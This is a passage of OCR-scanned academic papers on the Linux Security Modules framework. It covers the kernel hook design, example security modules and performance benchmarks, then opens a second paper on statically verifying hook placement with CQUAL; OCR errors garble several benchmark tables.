to maintain security information during program load- 
ing. One hook is provided to permit security modules to 
initialize this security information and to perfornn access 
control prior to loading the program, and a second hook 
is provided to permit modules to update the task security 
information after the new program has been successfully 


loaded. These hooks can also be used to control inher- 
itance of state across program executions, for example, 
revalidating open file descriptors. 


4.4 IPC Hooks 


Security modules can manage security information and 
perform access control for System V IPC using the LSM 
IPC hooks. The IPC object data structures share a com- 
mon substructure, kern_ipc_perm, and only a pointer 
to this substructure 1s passed to the existing ipcperms 
function for checking permissions. Hence, LSM adds 
a security field to this shared substructure. To support 
security information for individual messages, LSM also 
adds a security field to the msg_msg structure. 


LSM inserts a hook into the existing ipcperms func- 
tion so that a security module can perform a check for 
each existing Linux IPC permission check. However, 
since these checks are not sufficient for some security 
modules, LSM also inserts hooks into the individual IPC 
operations. These hooks provide more detailed informa- 
tion about the type of operation and the specific argu- 
ments. They also support fine-grained control over indi- 
vidual messages sent via System V message queues. 


4.5 Filesystem Hooks 


For file operations, three sets of hooks were defined: 
filesystem hooks, inode hooks, and file hooks. LSM 
adds a security field to each of the associated kernel 
data strictures: Super_block, inode, and file. 
The filesystem hooks enable security modules to con- 
trol operations such as mounting and statfs. LSM 
leverages the existing permission function by insert- 
ing an inode hook into it, but LSM also defines a num- 
ber of other inode hooks to provide finer-grained control 
over individual inode operations. Some of the file hooks 
allow security modules to perform additional checking 
on file operations such as read and write, for exam- 
ple, to revalidate permissions on use to support privi- 
lege bracketing or dynamic policy changes. A hook is 
also provided to allow security modules to control re- 
ceipt of open file descriptors via socket IPC. Other file 
hooks provide finer-grained control over operations such 
as tent land aoerl, 


An alternative to placing security fields in the inode 
and super_block structures would have been to place 
them in the dentry and vfsmount structures. The 
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inode and super_block structures correspond to the 
actual objects and are independent of names and names- 
paces. The dentry and vfsmount structures con- 
tain a reference to the corresponding inode or su- 
per_block, and are associated with a particular name 
or namespace. Using the first pair of structures avoids 
object aliasing issues. The use of these structures also 
provides more coverage of kernel objects, since these 
structures also represent non-file objects such as pipes 
and sockets. These data structures are also readily avail- 
able at any point in the filesystem code, whereas the sec- 
ond set of structures is often unavailable. 


4.6 Network Hooks 


Application layer access to networking is mediated us- 
ing a set of socket hooks. These hooks, which in- 
clude the interposition of all socket system calls, provide 
coarse mediation coverage of all socket-based protocols. 
Since active user sockets have an associated inode 
structure, a separate security field was not added to the 
socket structure or to the lower-level sock structure. 
As the socket hooks allow general mediation of net- 
work traffic in relation to processes, LSM significantly 
expands the kernel’s network access control framework 
(which is already handled at the network layer by Netfil- 
ter [36]). For example, the sock_rcv_skb hook allows 
an inbound packet to be mediated in terms of its destina- 
tion application, prior to being queued at the associated 
userspace socket. 


Additional finer-grained hooks have been tmplemented 
for the IPv4, UNIX domain, and Netlink protocols, 
which were considered essential for the implementation 
of a minimally useful system. Similar hooks for other 
protocols may be implemented at a later stage. 


Network data traverses the stack in packets encapsulated 
by an sk_buff (socket buffer) structure. LSM adds a 
security field to the sk_buff structure, so that security 
state may be managed across network layers on a per- 
packet basis. A set of sk.buff hooks 1s provided for 
lifecycle management of this security field. 


Hardware and software network devices are encapsu- 
lated by a net_device structure. A security field was 
added to this structure so that security state can be main- 
tained on a per-device basis. 


Coverage of low level network support components, 
such as routing tables and traffic classifiers 1s somewhat 
limited due to the invasiveness of the code which would 
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be required to implement consistent fine-grained hooks. 
Access to these objects can be mediated at higher levels 
(for example, using ioct1), although granularity may 
be reduced by TOCTTOU issues. 


4.7 Other Hooks 


LSM provides two additional sets of hooks: module 
hooksanda set of top-level system hooks. Module hooks 
can be used to control the kernel operations that create, 
initialize, and delete kernel modules. System hooks can 
be used to control system operations, such as setting the 
system hostname, accessing I/O ports, and configuring 
process accounting. The existing Linux kernel provides 
some control over many of these operations using the 
capability checks, but those checks only provide coarse- 
grained distinctions among different operations and do 
not provide any argument infonnation. 


5 Testing and Functionality 


Section 5.1 surveys modules that have been created for 
LSM so far. Section 5.2 describes our performance test- 
ing of LSM. While we have tested LSM kernels by boot- 
ing and running them, we have not engaged in system- 
atic testing. However, other members of the LSM com- 
munity [45] have developed systematic LSM correctness 
testing procedures [13, 14]. 


5.1 Modules 


LSM provides only the mechanism to enforce enhanced 
access control policies. Thus, it is the LSM modules that 
implement a specific policy and are critical in proving 
the functionality of the framework. Below are briefly 
described a few of these LSM modules: 


e SELinux A Linux implementation of the Flask [41] 
flexible access control architecture and an exam- 
ple security server that supports Type Enforcement, 
Role-Based Access Control, and optionally Multi- 
Level Security. SELinux was originally imple- 
mented as a kernel patch [29] and was then reim- 
plemented as a security module that uses LSM. 
SELinux can be used to confine processes to least 
privilege, to protect the integrity and confidential- 
ity of processes and data, and to support application 
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Process tests, times in ;tSeconds, smaller is better: 
% Overhead 


security needs. The generality and comprehensive- 
ness of SELinux helped to drive the requirements 















USENIX Association 


for LSM. Test Type || 2.5.15 | 2.5.15-Ism with LSM 
null eall -2.0% 
e DTE Linux An implementation of Domain and null 1/O 2.2% 
Type Enforcement [4, 5] developed for Linux [23]. stat 1.9% 
Like SELinux, DTE Linux was originally imple- open/close Ly 
mented as a kernel patch and was then adapted to select TCP 51% 
LSM. With this module loaded, types can be as- sig inst 0.3% 
signed to objects and domains to processes. The sig handl 0.2% 
DTE policy restricts access between domains and fork proc 0% 
from domains to types. The DTE Linux project exec proc 0.1% 
also provided useful input into the design and im- sh proc 0.1% 


plementation of LSM. 


e LSM port of Openwall kernel patch The Open- 
wall kernel patch [12] provides a collection of se- 
curity features to protect a system from common at- 
tacks, e.g. buffer overflows and temp file races. A 
module is under development that supports a subset 
of the Openwall patch. For example, with this mod- 
ule loaded a victim program will not be allowed to 
follow malicious symlinks. 


e POSIX.le capabilities The POSIX.le capabil- 
ties [42] logic was already present in the Linux ker- 
nel, but the LSM kernel patch cleanly separates this 
logic into a security module. This change allows 
users who do not need this functionality to omit it 
from their kernels and tt allows the development of 
the capabilities logic to proceed with greater inde- 
pendence from the main kernel. 


5.2 Performance Overhead 


The LSM framework imposes minimal overhead when 
compared with a standard Linux kernel. The LSM ker- 
nel used for benchmarking this overhead included the 
POSIX.1l¢e capabilities security module in order to pro- 
vide a fair comparison between an unmodified Linux 
kernel with built-in capabilities support and a LSM ker- 
nel with a capabilities module. 


The LSM framework is designed to enable sophisticated 
access control models. The overhead imposed by such a 
model is a composite of the LSM framework overhead 
and the actual policy enforcement overhead. Policy en- 
forcement 1s outside the scope of the LSM framework, 
however the performance impact of an enhanced access 
control module is still of interest. The SELinux mod- 
ule 1s benchmarked and compared against a standard 
Linux kernel with Netfilter enabled to show an example 
of module performance in Section 5.2.3. 





File and VM system latencies in ;:seconds, 
smaller is better: 


Test Type 





OK file create 73 
OK file delete 8.811 
10K file create 143 
10K file delete 2 
mmap latency 4853 
prot fault 0.990 
page fault 5 


Local communication bandwidth in MB/s, 
larger 1s better: 
% Overhead 

















Test Type |} 2.5.15 | 2.5.15-Ism with LSM 
pipe a 31 542 -0.9% 

AF Unix || 98 E16 -18.4% 
TCP 254 235 8.6% 

file reread 306 306 0% 
mmap reread 368 368 0% 
bcopy (libc) 19] 191 0% 
bcopy (hand) 148 15] -2% 
mem read 368 368 O% 
mem write 197 197 O% 


Table 2: LMBench Microbenchmarks, 4 processor machine 


§.2.1 Microbenchmark: LMBench 


We used LMBench [31] for microbenchmarking. LM- 
Bench was developed specifically to measure the perfor- 
mance of core kernel system calls and facilities, such as 
file access, context switching, and memory access. LM- 
Bench has been particularly effective at establishing and 
maintaining excellent performance in these core facilli- 
ties in the Linux kernel. 
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Process tests, times in s«seconds, smaller is better: 
| % Overhead 


Test Type || 2.5.15 | 2.5.15-Ism with LSM 
null call 0.44 0.44 0% 
null 1/O |} 0.67 0.71 6% 

stat 29 29 0% 
open/close 30 30 0.5% 
select TCP |} 23 23 0% 

sig inst 1.14 1.15 0.9% 
sig handl 3.25 5.24 0.2% 
fork proc 182 182 0% 
exec proc 745 747 0.3% 
sh proc |} 4334 4333 0% 


File and VM system latencies in jzseconds, 

smaller 1s better: 

“%. Overhead 
with LSM 








2.5.15 | 2.5.15-Ism 


Test Type 





OK file create 96 6 | 0% 
OK file delete 3] 3] 0% 
10K file create 157 158 0.6% 
10K file delete 45 46 2.2% 
mmap latency |} 3246 3158 -2.7% 
prot fault |} 0.899 1.007 12% 
page fault 3 2 0% 


Local communication bandwidth in MB/s, 


larger is better: | 
| % Overhead 

















Test Type || 2.5.15 | 2.5.15-Ism with LSM 
pipe 630 397] 5.2% 

AF Unix 125 l25 0% 
TGP. 222. 220 0.9% 

file reread 316 313 0.9% 
mmap reread 378 368 2.6% 
bcopy (libc) 199 19] 4% 
bcopy (hand) 168 149 11.3% 
memread |} 378 396 2.6% 
mem write || 206 197 4.4% 


Table 3: LMBench Microbenchmarks, | processor machine 


We compared a standard Linux 2.5.15 kernel against a 
2.5.15 kernel with the LSM patch applied and the de- 
fault capabilities module loaded, run on a 4-processor 
700 MHz Pentium Xeon computer with | GB of RAM 
and an ultra-wide SCSI disk, with the results shown in 
Table 2. In most cases, the performance penalty 1s in the 
experimental noise range. In some cases, the LSM ker- 
nel’s perfonnance actually exceeded the standard kernel, 
which we attribute to experimental error (typically cache 
collision anomalies [24]). The 18% performance im- 
provement for AF Unix in Table 2 is anomalous, but we 
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% Overhead 
with LSM 
0% 

0.3% 









2.5.15 | 2.5.15-lsm 





Machine Type 
| 4 CPUs 
1 CPU 





Table 4: Linux Kernel Build Macrobenchmarks, time in seconds 


have not identified the testing problem. 


The worst case overhead was 5.1% for select (), 
2.7% for open/close, and 3.1% for file delete. The 
open, close, and delete results are to be expected 
because the kemel repeatedly checks permission for 
each element of a filename during pathname resolution, 
magnifying the overhead of these LSM hooks. The per- 
formance penalty for select () stands out as an op- 
portunity for optimization, which 1s confirmed by mac- 
robenchmark experiments in Section 5.2.3. 


Similar results for running the same machine with a UP 
kernel are shown in Table 3. One should also bear in 
mind that these are microbenchmark figures; for com- 
prehensive application-level impact, see Sections 5.2.2 
and 5.253: 


5.2.2 Macrobenchmark: Kernel Compilation 


Our first macrobenchinark is the widely used kernel 
compilation benchmark, measuring the time to build the 
Linux kernel. We ran this test on a 4-processor SMP 
machine (four 700 MHz Xeon processors, | GB RAM, 
ultra wide SCSI disk) using both a SMP and UP kernel. 


The single processor test executed the command time 
make -j2 bzImage and the 4-processor test ex- 
ecuted the command time make -j8 bzImage, 
with the results shown in Table 4. The result is basi- 
cally zero overhead for the LSM patch, the worst case 
being 0.3%. 


§.2.3  Macrobenchmarks: Webstone 


Using Webstone [33] we benchmarked the overhead 1m- 
posed on a typical server application -— a webserver. 
We collected data showing the overhead of both a ba- 
sic LSM kernel and an LSM kernel with the SELinux 
module loaded. The SELinux module uses the Netfilter 
based hooks, so all three kernels have Netfilter support 
compiled in, and are based on the 2.5.7 Linux kernel. 
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Server Server 
Number connection | connection 
of rate rate % 
clients 2.901 2.5. 7-lsm Overhead 





Table 5: UP Webstone results comparing LSM to standard kernel. 


Connection rate measured in connections per second. 
Server Server 
connection | connection 



















Number 





of rate rate % 
clients LED 2.5.7-Ism Overhead 
8 1206.05 1115.29 7.53% 
16 1206.74 1117.61 7.39% 
24 1214.54 [130.13 6.95% 
32 1207.30 1125.89 6.74% 


Table 6: SMP Webstone results comparing LSM to standard kernel. 


The standard kernel was compiled with Netfilter sup- 
port. The LSM kernel was compiled with support for 
the Netfilter based hooks and used the default superuser 
logic. The SELinux kernel was compiled with support 
for SELinux and the Netfilter based hooks. The SELinux 
module was also stacked with the capabilities module, a 
typical SELinux configuration. We ran these tests on a 
dual 5SOMHz Celeron with 384MB RAM. The NIC was 
a Gigabit Netgear GA302T on a 32-bit 33 MHz PCI bus. 
The webserver was Apache 1.3.22-0.6 (Red Hat 6.2 up- 
date). 


Netfilter 1s a critical issue here. The 5—7% overhead 
observed in the LSM benchmarks in Tables 5 and 6 is 
greater than we would like. A separate experiment con- 
figured with LSM and Netfilter but without the Netfil- 
ter LSM hooks showed the more desirable 1—2% perfor- 
mance overhead. This is consistent with the worst case 
5% overhead in TCP select observed in Section 5.2.1, 
and identifies the Netfilter LSM hooks as critical for op- 
timization. 


The UP benchmark data in Table 7 shows that SELinux 
imposes about 16% overhead on connection rate, and we 
found similar overhead tn throughput. The SMP bench- 
mark data in Table 8 shows about 21% overhead on con- 
nection rate, and we found similar overhead in through- 
put. The greater overhead for the SMP test is likely due 








Connection rate measured in connections per second. 


Server Server 
Number connection | connection 
of rate rate % 
clients DSei 2.5.7-SEL Overhead 





Table 7: UP Webstone results comparing SELinux to standard ker- 
nel. 


Connection rate measured in connections per second. 





Server Server 
Number connection | connection 

of rate rate % 

clients 2500 2.5.7-SEL Overhead 
8 1206.05 949.56 21.3% — 
16 1206.74 949.74 21.3% 
24 1214.54 952.28 21.6% 
a2 1207.30 956.76 20.1% 


Table 8: SMP Webstone results comparing SELinux to standard ker- 
nel. 


to locking issues. Note that these overhead rates are spe- 
cific to the SELinux module (a particularly popular mod- 
ule) and that perforinance costs for other modules will 
vary. 


6 Discussion 


Given that LSM set out to satisfy the needs of a collec- 
tion of other independent projects, it 1s understandable 
that the result produced some emergent properties. 


Many security models require some way to associate se- 
curity attributes to system objects. Thus LSM attaches 
security fields to many internal kernel objects so that 
modules may attach and later reference the security at- 
tributes associated with those objects. 


It 1s also desirable to persistently bind security attributes 
to files. To do so seamlessly requires extended attribute 
file system support, which enables security attributes 
to be bound to files on disk. However, supporting ex- 
tended attributes is a complex issue, requiring both sup- 
port for extended attributes in the filesystem [22], and 
support for extended attributes in the Linux kernel’s VFS 
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layer. LSM mediates all VFS extended attribute func- 
tions, such as creating, listing and deleting extended at- 
tributes. However, extended attribute support 1s new to 
the Linux kernel and 1s not well-supported in all filesys- 
tems. Modules that need persistent extended attributes 
can resort to using meta-files [44, 29] when extended at- 
tribute support is missing from the filesystem. 


In attempting to provide a pluggable interface for secu- 
rity enhancements, it is tempting to consider completely 
modularizing all security policy decisions, i.e. move all 
kernel logic concerning access control out of the kernel 
and into a default module. This approach has significant 
benefits beyond simple modular consistency: in particu- 
lar, it would make it much easier to provide authoritative 
hooks instead of restrictive hooks, which in turn would 
enable a broader variety of modules (see Section 3). 


However, we chose nof to modularize all security deci- 
sions, for pragmatic reasons. Current Linux access con- 
trol decisions are not well isolated in the kernel; they 
are mingled with other error checking and transforma- 
tion logic. Thus a patch to the Linux kernel to remove 
all access control logic would be highly invasive. Im- 
plementing such a change would almost certainly entail 
security bugs, which would not be an auspicious way to 
introduce LSM to the greater Linux community. 


Therefore, we deferred the complete modularization of 
all access control logic. The current LSM implements 
much less invasive restrictive hooks, providing a mtn- 
imally invasive patch for initial introduction into the 
Linux community. Once LSM is well established, we 
may revisit this decision, and propose a more radical 
modularization architecture. 


Finally, in designing the LSM interface, we were dis- 
tinctly aware that LSM constitutes an API, and thus must 
present a logically consistent view to the programmer. 
The LSM interface constitutes not only the set of hooks 
needed by the modules we intended to support, but also 
the logical extension of such hooks, such that the inter- 
face is regular. Where possible, special cases were gen- 
eralized so that they were no longer special. 


7 Related Work 


Section 7.1 describes the general area of extensible ker- 
nels in the LSM context, and Section 7.2 describes work 
specifically related to generic access control frame- 
works. 


11th USENIX Security Symposium 


7.1 Extensible Kernel Research 


There has been a lot of operating systems research in the 
last 20 years on extensible systems. Following the ba- 
sic idea of microkemels (which sought to componentize 
most everything in the kernel) came extensive efforts to 
build more monolithic kernels that could be extended in 
various ways: 


e Exokernel was really just a logical extension of the 
microkemel concept [16]. The base kernel pro- 
vided no abstraction of physical devices, leaving 
that to applications that nceded the devices. 


e SPIN allowed modules to be loaded into the ker- 
nel, while providing for a variety of safety prop- 
erties [7]. Modules were to be written 1n Modula- 
3 [35], which imposed strong type checking, thus 
preventing the module from misbehaving outside of 
its own data structures. SPIN “spindles” also were 
subject to time constraints, so they could not seize 
the CPU. Abstractly, spindles would register to “ex- 
tend” or “specialize” kernel events, and would be 
added to an event handling chain, rather similar to 
the way interrupts are commonly handled. 


e SCOUT was designed to facilitate continuous 
flows of information (e.g. audio or video streams), 
and allowed CODEC stages to be composed 
into pipelines (or graphs) of appropriate compo- 
nents [34]. 


e Synthetix sought to allow applications to specialize 
the operating system to their transient needs [38]. 
“Specialization” meant optimization with respect to 
“quasi-invariants”: properties that hold true for a 
while, but eventually become false. In some cases, 
quasi-invariants were inferred from application be- 
havior, such as a process opening a file, result- 
ing in aspecialized read () system call optimized 
for the particular process and file. In other cases, 
quasi-invariants were specified to the kernel using 
a declarative language [11, 43]. 


All of these extension facilities provided some form of 
safety, to limit the potential damage that an extension 
could impose on the rest of the system. Such safety 
properties, for example, might allow a multimedia ap- 
plication to extend the kernel to support better quality of 
service, while limiting the multimedia extension so that 
it does not accidentally corrupt the operating system. 
The need for such safety in kernel extensions 1s anecdo- 
tally confirmed by the phenomena of unstable Microsoft 
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Windows systems, which are allegedly made unstable in 
part due to bad 3rd party device drivers, which run in 
kernel space. 


In contrast, LSM imposes no restrictions on modules, 
which are (normally) written tn C and have full, un- 
typed access to the kernel’s address space. The only 
“restriction” is that hooks are mostly of the “restrictive” 
form, making tt somewhat more difficult to erroneously 
grant access when tt should have been denied. Rather, 
LSM depends primarily on programmer skill (modules 
need to be written with the diligence of kernel code) and 
root authority (only root may load a module). 


It should be noted that LSM can get away with this weak 
module safety policy precisely because LSM modules 
are intended to enforce security policy. Unlike more 
generic kernel extensions such as QoS, the system is en- 
tirely at the mercy of the security policy. An admin- 
istrator who permits an LSM module to be loaded has 
already made the decision to trust the module providers 
to be both well-intentioned and skilled at programming, 
as bugs in a Security policy engine can have catastrophic 
consequences. Further sanity checks on LSM modules 
are superfluous. 


It should also be noted that this is the traditional view of 
Linux modules: that loading modules into the kernel is 
privileged for a reason, and that care should be taken in 
the writing and selection of kernel modules. LSM mod- 
ule developers are cautioned to be especially diligent in 
creating modules. Not only do LSM modules run with 
the full authority of all kernel code, but they are espe- 
cially trusted to enforce security policy correctly. Third 
party review of LSM modules’ source code 1s recom- 
mended. 


Finally, we note that LSM is much less intrusive to the 
Linux kernel than the other large modular interface: VFS 
(Virtual Filesystem). The need for support for multi- 
ple filesystems in Linux was recognized long ago, and 
thus a rich infrastructure was built. The VFS layer of 
the kernel abstracts the features of most filesystems, so 
that other parts of the kernel can access the filesystem 
without what knowing what kind of filesystem Is in use. 
Anecdotally, the VFS layer is reported to be a nest of 
function pointers that was very difficult to debug. This 
difficulty may explain, in part, why the Linux commu- 
nity would like the LSM interface to be as minimally 
intrusive as possible. 


7.2 General Access Control Frameworks 


The challenge of providing a highly general access con- 
trol framework has been previously explored in the Gen- 
eralized Framework for Access Control (GFAC) [1] and 
the Flask architecture [41]. These two architectures 
have been implemented as patches for the Linux ker- 
nel by the RSBAC [37] and the SELinux [29] projects. 
The Medusa [32] project has developed its own general 
access control framework [46] and implemented it in 
Linux. Domain and Type Enforcement (DTE) [4] pro- 
vides support for configurable security policies, and has 
also been implemented in Linux [23]. 


Like these prior projects, LSM seeks to provide general 
support for access control in the Linux kernel. However, 
the goals for LSM differ from these projects, yielding 
corresponding differences in the LSM framework. In 
particular, the emphasis on minimal impact to the base 
Linux kernel, the separation of the capabilities logic, and 
the need to support security functionality as kernel mod- 
ules distinguish LSM from these prior projects. 


Additionally, since LSM seeks to support a broad range 
of existing Linux security projects, it cannot impose a 
particular access control architecture such as Flask or 
the GFAC or a particular model suchas DTE. In order to 
provide the greatest flexibility, LSM simply exposes the 
kernel abstractions and operations to the security mod- 
ules, allowing the individual modules to implement their 
desired architecture or model. Similarly, since the var- 
lous projects use significantly different approaches for 
associating security attnbutes with files, LSM defers file 
labeling support entirely to the module. For systems 
like SELinux or RSBAC, this approach introduces a new 
level of indirection, so that even the general access con- 
trol architecture and the file labeling support would be 
encapsulated within the module rather than being di- 
rectly integrated into the kernel. 


8 Conclusions 


The Linux kermel supports the classical UNIX security 
policies of mode bits, and a partial implementation of the 
draft POSIX.le “capabilities” standard, which in many 
cases 1s not adequate. The combination of open source 
code and broad popularity has made Linux a popular tar- 
get for enhanced security projects. While this works, in 
that many powerful security enhancements are available, 
it presents a significant barrier to entry for users who are 
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unable or unwilling to deploy custom kernels. 


The Linux Security Modules (LSM) project exists to 
ease this barrier to entry by providing a standard load- 
able module interface for security enhancements. We 
presented the motivation, design, and implementation of 
the LSM tnterface. LSM provides an interface that is 
rich enough to enable a wide variety of security mod- 
ules, while imposing minimal disturbance to the Linux 
source code, and minimal performance overhead on the 
Linux kernel. Several robust security modules are al- 
ready available for LSM. 


LSM 1s currently implemented as a patch to the standard 
Linux kernel. A patch is being maintained for the latest 
versions of the 2.4 stable series and the 2.5 development 
series. The goal of the LSM project is for the patch to 
be adopted into the standard Linux kernel as part of the 
2.5 development series, and eventually into most Linux 
distributions. 
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10 Availability 


The LSM framework is maintained as a patch to the 
Linux kernel. The source code is freely available from 
http? /1lsm.ammunixorg: 
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Abstract 


The Linux Security Modules (LSM) framework is a set 
of authorization hooks for implementing flexible access 
control in the Linux kernel. While much effort has been 
devoted to defining the module interfaces, little atten- 
tion has been paid to verifying the correctness of hook 
placement. This paper presents a novel approach to the 
verification of LSM authorization hook placement using 
CQUAL, a type-based static analysis tool. With a sim- 
ple CQUAL lattice configuration and some GCC-based 
analyses, we are able to verify complete mediation of 
operations on key kernel data structures. Our results re- 
veal some potential security vulnerabilities of the current 
LSM framework, one of which we demonstrate to be ex- 
ploitable. Our experiences demonstrate that combina- 
tions of conceptually simple tools can be used to perform 
fairly complex analyses. 


1 Introduction 


Linux Security Modules (LSM) is a framework for im- 
plementing flexible access control in the Linux ker- 
nel [3]. LSM consists of a set of generic authorization 
hooks that are inserted into the kernel source that enable 
kernel modules to enforce system access control policy 
for the kernel. Thus, the Linux kernel is not hard-coded 
with a single access control policy. Module writers can 
define different access control policies, and the commu- 
nity can choose the policies that are most effective for 
their goals. 


The code segment in Figure | shows an example of how 
LSM hooks are inserted in the kernel. The function 
sys _lseek() implements the system call lseek. 


/* Code from fs/read_write.c */ 
sys.lseek(unsigned int fd, ...) 


{ 


Struct file * file; 


file = fget (fd); 
retval = security_ops->fileops 
->llseek (file) ; 
if (retval) { 
/* failed check, exit */ 
goto bad; 
} 
/* passed check, perform operation */ 
retval = llseek(file, ...); 


Figure |: An example of LSM hook. 


The security hook, security ops->file ops- 
>llseek(file), is inserted before the actual work 
(call to function 11seek () ) takes place. 


System administrators can provide an implemen- 
tation of the corresponding hook functions (e.g. 
security ops->file ops->1llseek()) by se- 
lecting a kernel module that implements their desired 
policy. Examples of LSM modules under development 
include SubDomain [4], Security-enhanced Linux [ 13], 
and OpenWALL. 


While much effort has been devoted to placing hooks 
in the kernel, this has been a manual process, so it 1s 
subject to errors. Even though the LSM developers are 
highly-skilled kernel programmers, errors are unavoid- 
able when dealing with complicated software. Thus far, 
little work has been done to verify that the hooks indeed 
provide complete mediation over access to security- 
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sensitive kernel objects and enforce the desired autho- 
rization requirements. Such verification would help gain 
acceptance for the LSM approach and enable mainte- 
nance of the authorization hooks as the kernel evolves. 
The verification task for LSM ts not a simple one be- 
cause LSM authorization hooks are embedded within the 
kernel source, rather than at a well-defined interface like 
the system call boundary. While this improves both per- 
formance and security, tt makes tt tmpractical to verify 
the hook placements manually [6]. 


As a first step, we began the development of runtime 
analysis tools for verifying LSM autho1ization hook 
placement [6]. These tools are easy to run, have helped 
us identify the requirements of a verification system, and 
have enabled us to find some hook placement errors. 
However, runtime analysis ts limited by the coverage of 
its benchmarks and requires some manual investigation 
of results to verify errors. Given the recent spate of ef- 
forts in static analysis tools [7, 11, 14], we were curious 
whether any of these tools could be applied effectively 
to authorization hook verification. Given a brief evalua- 
tion of tools, we chose to use CQUAL [9], a type-based 
Static analysis tool. It was chosen mainly because it was 
conceptually simple (type-based and flow-insensitive), 
available to use without significant modification, and 
was supported by formal foundations. 


This paper presents a novel approach to the verification 
of LSM authorization hook placement using CQUAL. 
We have found that with a simple CQUAL lattice and 
some additional analyses using GCC we can verify com- 
plete mediation of operations on key kernel data struc- 
tures. Complete mediation means that an LSM autho- 
rization occurs before any controlled operation is exe- 
cuted. Further, we have found that using the authoriza- 
tion requirements found by our runtime analysis tools, 
we can build a manageable lattice that enables verifica- 
tion of complete authonzation. Complete authorization 
means that each controlled operation ts completely me- 
diated by hooks that enforce its required authorizations. 
Our results reveal some potential security vulnerabilities 
of the current LSM framework, one of which we demon- 
strate to be exploitable. The findings and a code patch 
were posted to the LSM mailing list [5], and the fix was 
incorporated in later kernel releases. The resultant con- 
tribution is that through the use of a small number of 
conceptually simple tools, we can perform a fairly com- 
plex analysis. 


The rest of the paper ts organized as follows. Section 2 
defines the verification problem. Section 3 describes our 
approach tn detail. Section 4 presents the potential vul- 
nerabilities discovered through our static analysis. Sec- 


tion 5 discusses effectiveness of our approach and pos- 
sible extensions to CQUAL. Scction 6 describes related 
work, and Section 7 concludes the paper. 


2 Problem 


We aim to enable two kinds of verification: (1) ve1ifica- 
tion of complete mediation and (2) verification of com- 
plete authorization. 


2.1 Complete Mediation 


For complete mediation, we must verify that each con- 
trolled operation in the Linux kemel ts mediated by 
some LSM authorization hook. A controlled operation 
consists of an object to which we want to control ac- 
cess, the controlled object, and an operation that we exe- 
cute upon that object. An LSM authorization hook con- 
sists of a hook function identifier (1.e., the policy-level 
operation for which authorization is checked, such as 
security ops->file ops->permission) and 
a set of arguments to the LSM module’s hook function. 
At least one of these arguments refers to a controlled 
object for which access ts permitted by successful au- 
thorization (sometimes these objects are referred to in- 
directly). 


The first problem ts to find the controlled objects in the 
Linux kernel. In general, there are a large number of 
kernel objects to which access must be controlled in or- 
der to ensure the system behaves properly. Based on the 
background work done for the runtime analysis tool [6], 
we have found that effective mediation of access to ker- 
nel objects ts provided through user-level abstractions 
identified by paiticular controlled data types and global 
variables. Operations on these objects define a media- 
tion interface to the kernel objects at large. Of course, 
there may be a bug that enables circumvention of this 
interface, but this is a separate verification problem be- 
yond the scope of this paper. 


We identify the following data types as controlled data 
types: files, nodes, superblocks, tasks, modules, net- 
work devices, sockets, skbuffs, [PC messages, IPC mes- 
sage queue, semaphores, and shared memory. There- 
fore, operations on objects of these data types and user- 
level globals compose our set of controlled operations. 
In this paper, we focus on the verification of controlled 
Operations on controlled data types only. Now we 
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Figure 2: The complete mediation problem. 


can define our complete mediation verification problem: 
verify thatan LSM authorization hook is executed on an 
object of a controlled data type before tt is used in any 
controlled operation. For example, because the variable 
file in Figure |’s function sys_1seek ts of a con- 
trolled data type, any operations on this variable must be 
preceded by a security check on file. Figure 2 shows 
the problem graphically. 


In order to solve the complete mediation verification 
problem, there are a fewimportant subproblems to solve. 
First, we must be able to associate the authorized object 
with those used in controlled operations. In a runtime 
analysis, this 1s easily done by using the identifiers of the 
actual objects used in the security checks and controlled 
operations. In a static analysis, we only know about the 
variables and the operations performed upon them. Sim- 
ply following the variable’s paths 1s insufficient because 
the variable may be reassigned to a new object after the 
check. 


Next, we need to identify all the possible paths to the 
controlled operation. While the kernel source can take 
basically arbitrary paths, in practice typical C function 
call semantics are used. Thus, we assume that each con- 
trolled operation belongs to a function and can only be 
accessed by executing that function. 


Thus, all inter-procedural paths are defined by a call 
graph, but we must also identify which intra-procedural 
paths require analysis. Note that the only intra- 
procedural paths that require analysis are those where 
authorization is performed or those where the variable 
1s (re-)assigned. These are the only operations that can 
change the authorization status of a variable. Since vari- 
ables to controlled objects are typically assigned in the 
functions where their use is authorized and are rarely re- 
assigned, this often limits our intra-procedural analysis 


“ Controlled Object 


to the functions containing the security checks. Further, 
security checks should be unconditional with respect to 
the scope for which the check applies, so such analyses 
should be straightforward. 


Thus, we envision that the complete mediation problem 
will be solved by following this sequence of steps for 
each controlled object variable: 


1. Determine the function tin which this variable 1s ini- 
tialized (initializing function). 


2. Identify its controlled operations and their func- 
tions (controlling functions). 


3. Determine the function tn which this variable 1s au- 
thorized (authorizing function). 


4. Verify that all controlled operations in an authoriz- 
ing function are perfornned after the security check. 


5. Verify that there 1s no re-assignment of the variable 
after the security check. 


6. Determine the inter-procedural paths between the 
initializing function and the controlling functions. 


7. Verify that all inter-procedural paths from an in1- 
tializing function to a controlling function contain 
a security check. 


If a re-assignment ts found in step #5, then the verifica- 
tion Is restarted from the location of the new assignment. 


2.2 Complete Authorization 


Given a solution to complete mediation, the problem of 
verifying complete authorization 1s straightforward, but 
finding the requirements ts difficult. Each controlled op- 
eration requires prior mediation for a set of authoriza- 
tion requirements. The verification problem 1s to ensure 
that those requirements have been satisfied for all paths 
to that controlled operation. In this case, multiple secu- 
rity checks may be required (and thus, multiple autho- 
rizing functions), but the overall mechanism ts basically 
the same. We need to ensure that the set of authoriz- 
ing functions that provide the necessary security checks 
must occur between the initializing function and the con- 
trolling function. 


Collection of the authorization requirements for the con- 
trolled operations 1s the more complex task. Our runtime 
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analysis tool [6] enables determination of the authoriza- 
tion requirements of controlled operations, so rather than 
developing a new analysis tool, we use our runtime re- 
sults to find the authorization requirements. 


2.3 Summary 


When we firstexamined this problem, it appeared that an 
extensive static analysis tool with inter-procedural data- 
flow analysis capability was needed. Such tools either 
are not available to the public, do not work on Linux ker- 
nel (due to scalability issues or C coding style issues), 
or are too complicated to customize for our problem. 
A closer look at the nature of the verification problem, 
however, reveals that a less-powerftl static analysis tool 
might be sufficient. For verification purposes, we do not 
care about the exact value of the controlled object. We 
only care about its authorization state (1.e., authorized or 
non-authorized) and that its variable is not re-assigned. 
Some limited source analysis may be necessary to ver- 
ify that the expected conditions apply, but this should be 
quite simple in most cases. 


3 Approach 


3.1 CQUAL Background 


CQUAL Is a type-based static analysis tool that as- 
sists programmers in searching for bugs in C programs. 
CQUAL supports user-defined type qualifiers which are 
used in the same way as the standard C type qualifiers 
such as const. 


The following code segment shows an example of a user- 
defined type qualifier: unchecked. We use this quali- 
